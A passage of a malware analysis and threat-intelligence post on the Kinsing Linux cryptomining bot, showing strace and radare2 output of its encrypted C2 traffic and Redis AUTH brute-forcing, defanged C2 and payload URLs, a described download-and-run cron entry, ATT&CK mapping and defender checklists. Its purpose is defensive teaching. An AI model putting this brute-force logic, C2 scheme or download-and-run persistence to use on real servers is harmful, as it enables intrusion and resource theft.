User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
Content-Length: 20\r\n
Arch: amd64\r\n
Content-Type: application/octet-stream\r\n
Cores: 1\r\nMem: 244\r\n
Os: linux\r\n
Osname: debian\r\n
Osversion: 7.11\r\n
Root: false\r\n
Uuid: 75d40ac8-8af6-4bb7-6049-499237623cf9\r\n
Version: 28\r\n
Accept-Encoding: gzip\r\n\r\n
WzhP\313\f\337v\373\22\216\3276\24\263J\241)S\234", 421
read(6, "HTTP/1.1 200 OK\r\n
Server: nginx/1.10.3\r\n
Date: Thu, 13 Feb 2020 09:37:25 GMT\r\n
Content-Type: text/plain; charset=utf-8\r\n
Content-Length: 140\r\n
Connection: keep-alive\r\n\r\n
WzhP\313\f\337w\371\22\216\307.\20\267J\241)\25\216\27\274\271\257\262\355\345\\\306E\225\3
0N\205x\332\233\225%\21\376?\207\256\23\254\355\276\272\256{\177\1\241!\24\343\256:\202\310
\230\234\207\340\300V\3\364\221P\374\344;k\236K\2138&\365\235\321ct\204\240\317`Ca+S:\225\3
3\304\17Xo\314\0067o\305;\255\315#\325n\261\246X\252.\363R\\}w\257\7\217\254;?\35\276\2\24\
234Y\30\212\354\342\3104\35", 4096) = 304
▸ unescaped as encrypted comm:
nWzhP313f337w37122216307.20267J241)2521627274271257262355345\306E22530N205x332233225%21376?
20725623254355276272256{1771241!24343256:202310230234207340300V3364221P374344;k236K2138&365
235321ct204240317`Ca+S:2253330417Xo3140067o305;255315#325n261246X252.363R\}w2577217254;?35
276224234Y30212354342310435
What to learn here
▸ send comand "spre.sh" to C2 to fetch latest version installer
Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.

Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ fetch file is saved also as same workdir path with different random name:
Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
▸ and execute it in :
Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
What to learn here
download_and_exec shows the C2 command format (Id, Type, Data). This is what the embedded RSA key gives you.// The massscan() script (embedded//
The masscan() function does not scan by itself. It runs an embedded shell script that installs libpcap, fetches the scanner (saved as firewire and verified by MD5) and runs it with the parameters pushed by the C2.
▸ massscan() function is execution of this script the function needs 5 (five arguments) sent by C2 arguments by sequence are: port number, speed scan, input file path. scan result file path and the URL to download the massscan tool, which is the ss binary, a known SSH scanner tool that hackers used to use.

Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
What to learn here
libpcap-dev) on a production server, plus heavy outbound SYN traffic, are a strong scanning signal.// REDIS servers AUTH Attacker //
redisBrute() dials the target over TCP, sends AUTH <candidate> and checks the reply. If the reply contains OK, the hit is reported back to the C2 through addResult().
▸ the binary has function to brute AUTH attack of the redis servers It needs 4 arguements and target will be in the argument from data commanded by C2 it is used the below flow, see redis CLI for ref: https://redis.io/topics/rediscli
sym.go.main.redisBrute() (int64_t arg_8h, int64_t arg_10h, int64_t arg_18h) 0x007a1a9d int64_t arg1 0x007a1aab call fcn.0045abb1 fcn.0045abb1 0x007a1aeb "tcp" 0x007a1b1a call sym.go.net.__Dialer_.DialContext 0x007a1b6f call sym.go.runtime.deferprocStack 0x007a1b95 ";<=>?@ABCFLMNOPSZ[\"\\n\r\t" 0x007a1bbc call sym.go.strings.genSplit 0x007a1c1f "AUTH AcircAdlamAlphaAprilAringArubaBamumBatakBeninBuhidCLOSECNAMEChileChinaClassDEBUGDeltaDirtyDograECDSAERROREcircEgyptErrorFo.." 0x007a1c3e "\n\r\t" 0x007a1c53 call sym.go.runtime.concatstring3 0x007a1c74 call sym.go.runtime.stringtoslicebyte 0x007a1cae call sym.go.time.Now 0x007a1cc2 call sym.go.time.Time.Add 0x007a1d2c call sym.go.runtime.makeslice 0x007a1db1 call sym.go.runtime.slicebytetostring 0x007a1dd6 "Client sent AUTH, but no password is setFailed to initialized s" 0x007a1deb call sym.go.strings.Index 0x007a1e12 "OK" // greo if the response brute success 0x007a1e27 call sym.go.strings.Index 0x007a1e4e call sym.go.runtime.deferreturn 0x007a1e98 ";<=>?@ABCFLMNOPSZ[\"\\n\r\t" 0x007a1ec4 call sym.go.runtime.concatstring3 0x007a1ee9 call sym.go.main.addResult 0x007a1eef call sym.go.runtime.deferreturn 0x007a1f05 call sym.go.runtime.deferreturn 0x007a1f1b call sym.go.runtime.deferreturn 0x007a1f48 call sym.go.runtime.newobject 0x007a1f87 // will response this error if not success 0x007a1f87 "SetReadDeadline failed:Split called after ScanTask %d, executed in %sTrinit\u00e9-et-Tobago (la)Unsupported command: %vVariant Also" 0x007a1f9c call sym.go.runtime.newobject 0x007a1fff call sym.go.github.com_op_go_logging.__Logger_.log 0x007a2005 call sym.go.runtime.deferreturn 0x007a2029 call sym.go.runtime.gcWriteBarrier 0x007a2034 call sym.go.runtime.deferreturn 0x007a204a call sym.go.runtime.deferreturn 0x007a2064 call sym.go.runtime.panicSliceAcap 0x007a206a call sym.go.runtime.morestack_noctxt 0x007a206f sym.go.main.redisBrute1
What to learn here
AUTH ) are used. Read the length argument, not the whole string.▸ below is explaining part of code how to AUTH was sent - to hack the credential of REDIS service.
radare2 graph view — sym.go.main.redisBrute1
[0x007a1a60]> 0x7a1bef # sym.go.main.redisBrute1 (int64_t arg_8h, int64_t arg_10h, int64_t arg_18h); __1a60__[oa] [ 0x7a1bef ] f t ; CODE XREF from sym.go.main.redisBrute1 @ 0x7a1bdb │ │ mov qword [var_78h], rax │ └─.. mov qword [var_140h], rdx ┌─┘ mov rcx, qword [rax + 8] __1a7b__[od] mov qword [var_160h], rcx f t mov rbx, qword [rax] │ │ mov qword [var_a0h], rbx │ └────┐ lea rsi, [var_118h] ┌───────────┘ mov qword [rsp], rsi │ │ ; "AUTH AcircAdlamAlphaAprilAringArubaBamumBatakBeninBuhidCLOSECNAMEChileChinaClassDEBUGDeltaDirtyDograECDSAERROREcircEgyptError lea rsi, [0x0087f436] f t │ mov qword [var_1c0h], rsi │ │ │ mov qword [var_1b8h], 5 │ └─────┐ mov qword [var_1b0h], rbx ┌───────────────┘ mov qword [var_1a8h], rcx │ │ ; "\n\r\t" __1b7c__[oh] __2033__[oAm] lea rdi, [0x0087dfe0] f t : mov qword [var_1a0h], rdi │ │ mov qword [var_198h], 1 │ └─────┐ call sym.go.runtime.concatstring3;[ok] ┌───────────────┘ mov rax, qword [var_188h] │ │ mov rcx, qword [var_190h __1bd4__[o │ mov qword [rsp], 0 │ │ mov qword [var_1c0h], rcx │ │ mov qword [var_1b8h], rax │ │ call sym.go.runtime.stringtoslicebyte;[ol] (THE ATTACK FOR AUTH) <<============== HERE!! mov rax, qword [var_150h] f t │ mov rcx, qword [rax + 0x50] │ │ │ mov rdx, qword [var_1a8h] │ └─────────┐ mov rbx, qword [var_1b0h] ┌─────────────────┘ mov rsi, qword [var_1a0h] │ : │ mov rdi, qword [var_90h] __1d0f__[oq] __1f30__[oAe] mov qword [rsp], rdi : : mov qword [var_1c0h], rbx mov qword [var_1b8h], rdx :
What to learn here
concatstring3("AUTH ", password, "\n") builds the brute-force line. Following arguments into runtime calls like this is the key Go reversing skill.requirepass or ACLs.// Only forensics cant dissect this//
A plain signature scan on the binary is full of false positives (marked fp). This shows why static carving alone cannot dissect a Go-packed bot: you need to reverse the loader (pkger) logic and decode the embedded payloads yourself, as done above.
- open input file: kinsing - zip data to check: 32 bytes - zip windowBits: 15 - seek offset: 0x00000000 (0) DECIMAL HEXADECIMAL DESCRIPTION (many fp) -------------------------------------------------------------------------------- 0 0x0 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV) 4256240 0x40F1F0 Certificate in DER format (x509 v3), header length: 4, sequence length: 13568 4684208 0x4779B0 Certificate in DER format (x509 v3), header length: 4, sequence length: 2560 4809179 0x4961DB Base64 standard index table 4820858 0x498F7A Executable script, shebang: "/bin/sh" 4823632 0x499A50 StuffIt Deluxe Segment (data): ftHSY0rMGI9CLrl2ZvDLiahto= 4848165 0x49FA25 eCos RTOS string reference: "ecosidnshome-webserverdalucernecostumedio-campidano-mediocampidanomediocouchpotatofriesardiniacouncilukowildlifedorainfraclouder" 4848195 0x49FA43 eCos RTOS string reference: "ecostumedio-campidano-mediocampidanomediocouchpotatofriesardiniacouncilukowildlifedorainfraclouderacouponsarluroycq-acranbrookuw" 14148142 0xD7E22E VxWorks symbol table, big endian, first entry: [type: initialized data, code address: 0x800, symbol address: 0x100] 14259776 0xD99640 SHA256 hash constants, little endian 14259792 0xD99650 SHA256 hash constants, little endian 14663130 0xDFBDDA Cisco IOS microcode, for "" 16732624 0xFF51D0 GIF image data, version "87a", 18759 16732632 0xFF51D8 GIF image data, version "89a", 16765673 0xFFD2E9 Boot section Start 0x42424242 End 0x42424242 16765677 0xFFD2ED Boot section Start 0x42424242 End 0x0 16765681 0xFFD2F1 Boot section Start 0x0 End 0x0 16765685 0xFFD2F5 Boot section Start 0x0 End 0x0 +------------+-----+----------------------------+----------------------+ | hex_offset | ... | zip -> unzip size / offset | spaces before | info | +------------+-----+----------------------------+----------------------+ 0x00298945 9206 -> 9192 / 0x0029ad3b _ 2722117 8:4:9:0:1:7affffff // fp 0x00d5dc58 65292 -> 65280 / 0x00d6db64 _ 11284253 8:7:1:0:1:19040000 // fp 0x00d78eb8 65292 -> 65280 / 0x00d88dc4 _ 45908 8:7:1:0:1:00308100 // fp
What to learn here
// Kinsing bot used these open // // source Go dev libraries //
These open-source Go libraries were identified from the symbols and strings in .rodata / .gopclntab. Knowing them saves a lot of reversing time, because you can skip the library code and focus on main.*.
gopsutil is a Go compiled psutil (tool) like, (process and system utilities) is a cross-platform
library for retrieving information on running processes and system utilization (CPU, memory, disks,
network, sensors) in Python. It is useful mainly for system monitoring, profiling and limiting process
resources and management of running processes. It implements many functionalities offered by classic
UNIX command line tools such as ps, top, iotop, lsof, netstat, ifconfig, free and others. currently
supports the following platforms:
FreeBSD i386/amd64/arm
Linux i386/amd64/arm(raspberry pi)
Windows/amd64
Darwin i386/amd64
OpenBSD amd64 (Thank you @mpfz0r!)
Solaris amd64 (developed and tested on SmartOS/Illumos, Thank you @jen20!)
2. Go "diskv" libs github.com/peterbourgon/diskv
Diskv (disk-vee) is a simple, persistent key-value store written in the Go language. It starts with an
incredibly simple API for storing arbitrary data on a filesystem by key, and builds several layers of
performance-enhancing abstraction on top. The end result is a conceptually simple, but highly performant,
disk-backed storage system.
3. has go "yamux" libs, .rodata:00000000007C4953 0000001B C github.com/hashicorp/yamux
Yamux (Yet another Multiplexer) is a multiplexing library for Golang. It relies on an underlying connection to
provide reliability and ordering, such as TCP or Unix domain sockets, and provides stream-oriented multiplexing.
It is inspired by SPDY but is not interoperable with it.
4. has "pkger" , .rodata:00000000007C4973 0000001B C github.com/markbates/pkger
pkger is a tool for embedding static files into Go binaries. It will, hopefully, be a replacement for github.com/gobuffalo/packr/v2.
Requirements
Go 1.13+
Go Modules
Resty is Simple HTTP and REST client library for Go
6. go "validator" libs, .rodata:00000000007C84E2 00000023 C !github.com/asaskevich/govalidator
A package of validators and sanitizers for strings, structs and collections. Based on validator.js.
7. has "envconfig" go libs, .rodata:00000000007C9B42 00000025 C $github.com/kelseyhightower/envconfig
Package envconfig implements decoding of environment variables based on a user defined specification.
A typical use is using environment variables for configuration settings.
8. has "ratecounter" libs in go, .gopclntab:000000000122DFD0 00000033 C github.com/paulbellamy/ratecounter
Package ratecounter provides a thread-safe rate-counter, for tracking counts in an interval
Useful for implementing counters and stats of 'requests-per-second'
9. has "amon/go-sock5", .gopclntab:00000000013703A0 00000037 C github.com/armon/go-socks5
socks libs
10 has "go-logging" libs. .gopclntab:00000000013A5B9C 00000028 C github.com/op/go-logging.AddModuleLevel
is a package logging implements a logging infrastructure for Go. Its output format is customizable
and supports different logging backends like syslog, file and memory. Multiple backends can be utilized
with different log levels per backend and logger.
11. has ."gopclntab":00000000013EDDB8 00000058 C /go/pkg/mod/github.com/kardianos/osext
Find the current Executable and ExecutableFolder.
As of go1.8 the Executable function may be found in os. The Executable function in the std lib os package
is used if available.
There is sometimes utility in finding the current executable file that is running. This can be used for
upgrading the current executable or finding resources located relative to the executable file. Both
working directory and the os.Args[0] value are arbitrary and cannot be relied on; os.Args[0] can be "faked".
Multi-platform and supports:
Linux
OS X
Windows
Plan 9
BSDs.
12. has go "btree" libs, .rodata:00000000007C2173 00000018 C github.com/google/btree
BTree implementation for Go
Travis CI Build Status
This package provides an in-memory B-Tree implementation for Go, useful as an ordered, mutable data
structure.
13. "gouuid" .rodata:00000000007C4993 0000001B C github.com/nu7hatch/gouuid
Uuid creator in Go
What to learn here
Part II — CTI analysis
Part II turns the malware analysis above into threat intelligence: who is attacking, what they want, how the attack flows from start to finish, which weaknesses they abuse and what defenders should do with the indicators. Every point is tied back to evidence in Part I.
First, the threat model. It answers what is at risk, from whom, through which doors, and with what impact.
| Element | Assessment for this case |
|---|---|
| Assets at risk | Internet-facing Linux servers and cloud VMs (x86-64), especially hosts running Redis; every server reachable with the SSH keys stored on an infected host; Docker hosts (the bot kills and removes containers and images). |
| Adversary | A financially motivated cryptojacking crew (recorded in this analysis as SystemTen; bot coder "nook"). Automated, botnet-scale operation. |
| Motivation | Monetization through Monero mining (wallet and pools); secondary: keeping a foothold (on-demand backdoor, SOCKS) that can be reused or sold. |
| Capability | Medium. Uses public tools (XMRig, a public mass-scanner, open-source Go libraries), but integrates them well: encrypted tasking, self-update, worm-like spreading and anti-competitor logic. |
| Entry points | Weak or no Redis AUTH (redisBrute); trusted SSH keys from already infected hosts (spreader); scripts hosted on paste and code sites (Pastebin, a public code-hosting site). For the family in general, see targeted vulnerabilities. |
| Impact | CPU/power theft and cloud cost; security controls destroyed (syslog, firewall, SELinux/AppArmor, cloud agents); persistent remote access; host data can be sent to the C2; lateral spread to every trusted server. |
| Likelihood | High for exposed and unhardened Linux fleets. The family kept running new campaigns for years after this case (Tenable 2024, F6 2025). |
What to learn here
Attribution in CTI is about clustering activity with stated confidence, not about naming people. Below is what this analysis recorded, compared with how the industry names the same activity.
| Item | Value | Evidence | Confidence |
|---|---|---|---|
| Malware family | Linux/Kinsing (Go ELF bot) + XMRig 5.5.0 miner | binary, embedded miner | High |
| Coder handle | "nook" | build path /home/nook/go/src/my/bot in the pkger index | High |
| Operator (as recorded) | SystemTen | original analysis notes (threat information) | Medium |
| Origin (as recorded) | PRC/China | original analysis notes; supported by targeting Alibaba Cloud and Tencent Cloud agents (al.sh) | Medium |
| Industry names | Kinsing / H2Miner; Money Libra (Palo Alto Networks); Resourceful Wolf (F6) | The Hacker News, SecurityWeek, F6 | High |
| Clustering pivots | wallet 42J8CF9s..., pkger build path, C2 URL scheme (/h /get /o /s), header set, kdevtmpfsi name | Part I | High |
Public reporting confirms that the same malware/actor name (Kinsing, aka H2Miner) was first documented in January 2020 and kept adding new exploits for years (The Hacker News). Researchers have also linked separate campaigns together through a shared Monero wallet (Red Canary), the same kind of pivot shown in this post.
What to learn here
The Lockheed Martin Cyber Kill Chain gives a step-by-step view of the whole attack scheme. The important lesson in this case is the loop: phase 7 (spreading) feeds phases 1–4 on new victims, so one infection becomes many.
kinsing — kill chain of the attack scheme (with worm loop)
[1] RECONNAISSANCE masscan wrapper scans ports given by C2; Redis targets listed [2] WEAPONIZATION Go bot + pkger-embedded XMRig + base64/zlib scripts [3] DELIVERY Pastebin script / spr.sh / bitbucket raw / 217.12.221.244 [4] EXPLOITATION weak Redis AUTH brute; reuse of trusted SSH keys [5] INSTALLATION /tmp/.ICEd-unix, kdevtmpfsi, every-minute cron, lock file [6] COMMAND & CONTROL HTTP :80, RSA tasking, /h /get /o /s, backconn, socks [7] ACTIONS ON OBJ. mine Monero; kill rivals & security agents; spread ^ | +---- WORM LOOP: each new victim becomes a scanner/brute-forcer ---+
| Phase | This case | Where to break the chain |
|---|---|---|
| 1 Recon | masscan wrapper, port/rate/target list from C2 | egress filtering; alert on heavy outbound SYN |
| 2 Weaponization | Go bot, embedded miner and scripts | (attacker side) — use the RE results to build signatures |
| 3 Delivery | downloads of spr.sh, cron.sh, al.sh, kinsing | block download-and-run from servers; proxy server egress |
| 4 Exploitation | Redis AUTH brute; SSH key reuse | Redis not exposed and strong auth; no passphrase-less keys |
| 5 Installation | hidden dir, look-alike names, cron, lock file | FIM on /tmp, /var/tmp, crontabs; noexec /tmp |
| 6 C2 | HTTP :80, odd UA, custom headers | IDS on headers and UA; block C2s; beacon detection |
| 7 Actions | mining, killing defenses, spreading | alert on agent or syslog stop; CPU baselines; SSH fan-out alerts |
What to learn here
This is the TTP view of the case as a MITRE ATT&CK (Enterprise, Linux) matrix. Each cell is backed by evidence shown in Part I. This is my mapping for study; check it against the current ATT&CK version when you reuse it.
Reconnaissance / Discovery
T1046 Network Service Discovery
masscan wrapper
T1082 System Information Discovery
Arch/Cores/Mem/Os headers
T1018 Remote System Discovery
known_hosts, bash_history, /etc/hosts
Resource Development
T1608.001 Upload Malware
payload on a public code-hosting site and Pastebin
Initial Access / Credential Access
T1110.001 Password Guessing
Redis AUTH brute
T1552.004 Private Keys
id_rsa / *.pem harvesting
Execution
T1059.004 Unix Shell
embedded and downloaded sh scripts, exec
Persistence
T1053.003 Cron
every-minute download-and-run cron entry
Defense Evasion
T1562.001 Disable or Modify Tools
aegis/quartz/YunJing, SELinux, AppArmor
T1562.004 Disable or Modify System Firewall
host firewall disabled, rules flushed
T1070.002 Clear Linux or Mac System Logs
syslog file deleted
T1222.002 Linux File and Directory Permissions Modification
file attributes removed from dirs
T1564.001 Hidden Files and Directories
/tmp/.ICEd-unix
T1036.005 Match Legitimate Name or Location
kdevtmpfsi
T1027 Obfuscated Files or Information
base64+zlib scripts, pkger
T1140 Deobfuscate/Decode Files or Information
runtime decode of scripts
Lateral Movement
T1021.004 SSH
spreader loop with harvested keys
Command and Control
T1071.001 Web Protocols
HTTP :80
T1573.002 Asymmetric Cryptography
RSA tasking
T1571 Non-Standard Port
backdoor port, stratum on :80
T1105 Ingress Tool Transfer
spr.sh, al.sh, cron.sh, firewire
Impact
T1496 Resource Hijacking
XMRig 5.5.0
In total there are 23 techniques across 9 tactic groups. Notice that Defense Evasion is the largest column: this bot spends more effort on blinding the defender than on anything else.
What to learn here
This case did not need a CVE: it abused weak configuration and trust. The kinsing family as a whole, however, is well known for quickly adding new exploits. Both lists matter for defenders.
| Weakness | How it is abused | Evidence |
|---|---|---|
| Redis without AUTH or with a weak password | AUTH <guess> brute and an OK check | redisBrute |
| Passphrase-less SSH private keys and broad trust | keys plus hosts harvested, then ssh with BatchMode | spreader script |
| Security agents removable by root | aegis, quartz and YunJing uninstalled; SELinux and AppArmor off | spr.sh / al.sh |
| Writable and executable /tmp and /var/tmp | payloads dropped and run from temp dirs | /tmp/.ICEd-unix |
| Unrestricted server egress | downloads and C2 over :80, mining over :80 | network |
| CVE / weakness | Product | Type | Reported by |
|---|---|---|---|
| Exposed Docker Engine API | Docker | misconfiguration → container run | Red Canary |
| Unauthenticated Redis | Redis | misconfiguration → RCE | Red Canary, CounterCraft |
| CVE-2020-11651 / CVE-2020-11652 | SaltStack Salt | auth bypass / RCE | Intezer, Red Canary |
| CVE-2019-19781 | Citrix ADC / Gateway | RCE | Red Canary, CounterCraft |
| CVE-2017-9841 | PHPUnit | RCE | Aqua Nautilus |
| CVE-2023-4911 (Looney Tunables) | glibc ld.so | local privilege escalation | Aqua Nautilus |
| CVE-2023-46604 | Apache ActiveMQ | RCE (deserialization) | Trend Micro |
| CVE-2023-32315 | Openfire | path traversal → RCE | SecurityWeek |
| CVE-2021-44228 (Log4Shell), Confluence RCE | Log4j, Atlassian Confluence | RCE | BleepingComputer |
| CVE-2017-11610, CVE-2018-20062, CVE-2019-0193, CVE-2019-3396, CVE-2020-25213, CVE-2021-26084, CVE-2021-41773 | Supervisor, ThinkPHP, Solr, Confluence, WP File Manager, Confluence, Apache httpd | RCE / path traversal | CounterCraft |
Other reporting also lists targets such as Apache NiFi, Apache Tomcat, Liferay Portal and Oracle WebLogic (The Hacker News). Only sources I could cross-check are listed here; please verify each CVE against your own vulnerability feed before using it for prioritization.
What to learn here
IOC triage means deciding, for each indicator, how reliable it is, whether it is still alive, and what action fits it. Blindly blocking everything causes outages; triage prevents that. The network indicators below are defanged (hxxp, [.]) and enriched with ASN and country from the infrastructure chapter. Sharing level: TLP:CLEAR.
| Indicator | Type | Role | Source | Confidence | Status | Triage / recommended action |
|---|---|---|---|---|---|---|
6bffa50350be7234071814181277ae79 | MD5 | kinsing bot | binary info | High | static | EDR/AV hunt; VirusTotal pivot |
2cb455f23b352e27b1f2f60abd61b444d15fafb0 | SHA-1 | kinsing bot | binary info | High | static | same as above |
a71ad3167f9402d8c5388910862b16ae | MD5 | kinsing version expected by spr.sh | spr.sh | Medium | static | hunt; the sample itself is not verified in this post |
5b439ea84bc00eb74217461d1c64342d | MD5 | kdevtmpfsi miner (XMRig 5.5.0) | embedded miner | High | static | EDR/AV hunt |
fece7b18f2b763690b617f8649d4f9c8c93f6dc6 | SHA-1 | kdevtmpfsi miner | embedded miner | High | static | same as above |
45a7ef83238f5244738bb5e7e3dd6299 | MD5 | "firewire" scanner expected by masscan() | masscan | Medium | static | hunt; a public tool, so expect hits from benign use too |
45.10.88[.]102 | IPv4 | C2 (HTTP :80) | AS48693 NTSERVICE-AS (UA) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
91.215.169[.]111 | IPv4 | C2 (HTTP :80) | AS49693 BEST-HOSTER (RU) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
139.99.50[.]255 | IPv4 | C2 (HTTP :80) | AS16276 OVH (FR) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
46.243.253[.]167 | IPv4 | C2 (HTTP :80) | AS58272 LEADERTELECOMBV-AS (NL) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
195.123.220[.]193 | IPv4 | C2 (HTTP :80) | AS21100 ITLDC-NL (UA) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
217.12.221[.]244 | IPv4 | script / payload download | AS15626 ITLAS (UA) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
195.3.146[.]118 | IPv4 | script / payload download | AS41390 RN-DATA- (LV) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
45.89.230[.]240 | IPv4 | mining pool (stratum :80) | AS51659 ASBAXET (RU) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
178.170.189[.]5 | IPv4 | mining pool (stratum :80) | AS58272 LEADERTELECOMBV-AS (NL) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
92.63.99[.]17 | IPv4 | mining pool (stratum :80) | AS29182 THEFIRST-AS (RU) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
hxxps://bitbucket[.]org/kimrakfl33/git/raw/master/kinsing | URL | payload mirror | spr.sh | High | likely removed | block the exact URL only, never the whole site (legitimate service) |
hxxps://pastebin[.]com/f4fYBPLe | URL | Patient-0 script | scheme | High | likely removed | block the exact URL; hunt for paste-site downloads from servers |
icanhazip.com | domain | public IP lookup used by the spreader | spreader | Low | legitimate | do not block; use as a hunting signal from servers |
42J8CF9s...S5Kdqh2 | XMR wallet | operator's wallet | miner ID | High | – | clustering / attribution pivot |
Chrome/78.0.3904.108 UA + Arch/Cores/Uuid/Version headers | network | C2 traffic fingerprint | protocol | High | family-wide | IDS/proxy rule (low FP from Linux servers) |
/tmp/.ICEd-unix/, /var/lock/linux.lock, kdevtmpfsi | host | work dir, lock file, miner | 11.1 | High | family-wide | FIM / EDR / osquery hunt |
| every-minute cron entry fetching a script and piping it to a shell | host | persistence | 11.5 | High | family-wide | crontab audit on every host |
# kinsing bot (Go ELF x86-64)
MD5 6bffa50350be7234071814181277ae79
SHA-1 2cb455f23b352e27b1f2f60abd61b444d15fafb0
# kinsing MD5 expected by spr.sh
MD5 a71ad3167f9402d8c5388910862b16ae
# embedded miner kdevtmpfsi (XMRig 5.5.0)
MD5 5b439ea84bc00eb74217461d1c64342d
SHA-1 fece7b18f2b763690b617f8649d4f9c8c93f6dc6
# scanner "firewire" MD5 expected by massscan script
MD5 45a7ef83238f5244738bb5e7e3dd6299
# C2 (tcp/80)
45.10.88[.]102
91.215.169[.]111
139.99.50[.]255
46.243.253[.]167
195.123.220[.]193
# script / payload download
217.12.221[.]244
195.3.146[.]118
# miner pools
stratum+tcp[:]//45.89.230[.]240:80
stratum+tcp[:]//178.170.189[.]5:80
stratum+tcp[:]//92.63.99[.]17:80
# URLs
hxxp://217.12.221[.]244/spr.sh
hxxp://217.12.221[.]244/spre.sh
hxxp://217.12.221[.]244/al.sh
hxxp://217.12.221[.]244/cron.sh
hxxp://217.12.221[.]244/kinsing
hxxp://195.3.146[.]118/spr.sh
hxxp://195.3.146[.]118/unk.sh
hxxps://bitbucket[.]org/kimrakfl33/git/raw/master/kinsing
hxxps://pastebin[.]com/f4fYBPLe
# host artifacts
/var/lock/linux.lock (/run/lock/linux.lock)
/tmp/.ICEd-unix/ /tmp/.ICEd-unix/uuid /tmp/.ICEd-unix/[A-Za-z]{5}
/tmp/kdevtmpfsi
/tmp/kinsing /var/tmp/kinsing
crontab: every-minute entry fetching spr.sh from 195.3.146[.]118 (piped to a shell)
crontab: every-minute entry fetching unk.sh from 195.3.146[.]118 (piped to a shell)
# network artifacts
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904[.]108 Safari/537.36
HTTP headers: Arch: / Cores: / Mem: / Os: / Osname: / Osversion: / Root: / Uuid: / Version: 28
paths: /s /h /get /hers /mg /o /spre.sh /al.sh /cron.sh /kinsing
# miner wallet
42J8CF9sQoP9pMbvtcLgTxdA2KN4ZMUVWJk6HJDWzixDLmU2Ar47PUNS5XHv4Kmfdh8aA9fbZmKHwfmFo8Wup8YtS5Kdqh2
What to learn here
Part III — Defense
A short checklist to find and stop this kind of infection, based only on what this analysis shows.
/tmp or /var/tmp; kdevtmpfsi using high CPU; a kinsing child of init./tmp/.ICEd-unix/, /var/lock/linux.lock, /tmp/kdevtmpfsi, /tmp/kinsing, and deleted-but-open files under /proc/*/fd.Arch/Cores/Uuid/Version headers, paths /s /h /get /o, stratum traffic on :80, and new high listening ports. What to learn here
To wrap up: kinsing is not just a miner dropper. It is a full Go-written bot with encrypted C2 tasking, a remote shell, a SOCKS proxy, an on-demand backdoor, a self-updater, SSH-key based lateral movement, mass-scanning, Redis AUTH brute-forcing, and an aggressive killer of competing miners and of cloud security agents. One weak Redis or one leaked key is enough to start the chain, and the worm stage does the rest.
If you are a student, try to reproduce the reversing of a Go ELF yourself with radare2 in a safe, isolated environment and compare your results with these notes. If you are a defender, take the detection checklist and check your Linux fleet.
Read & use this knowledge with caution, this post is a Linux threat analysis education material
-----
@unixfreaxjp, malwaremustdie.org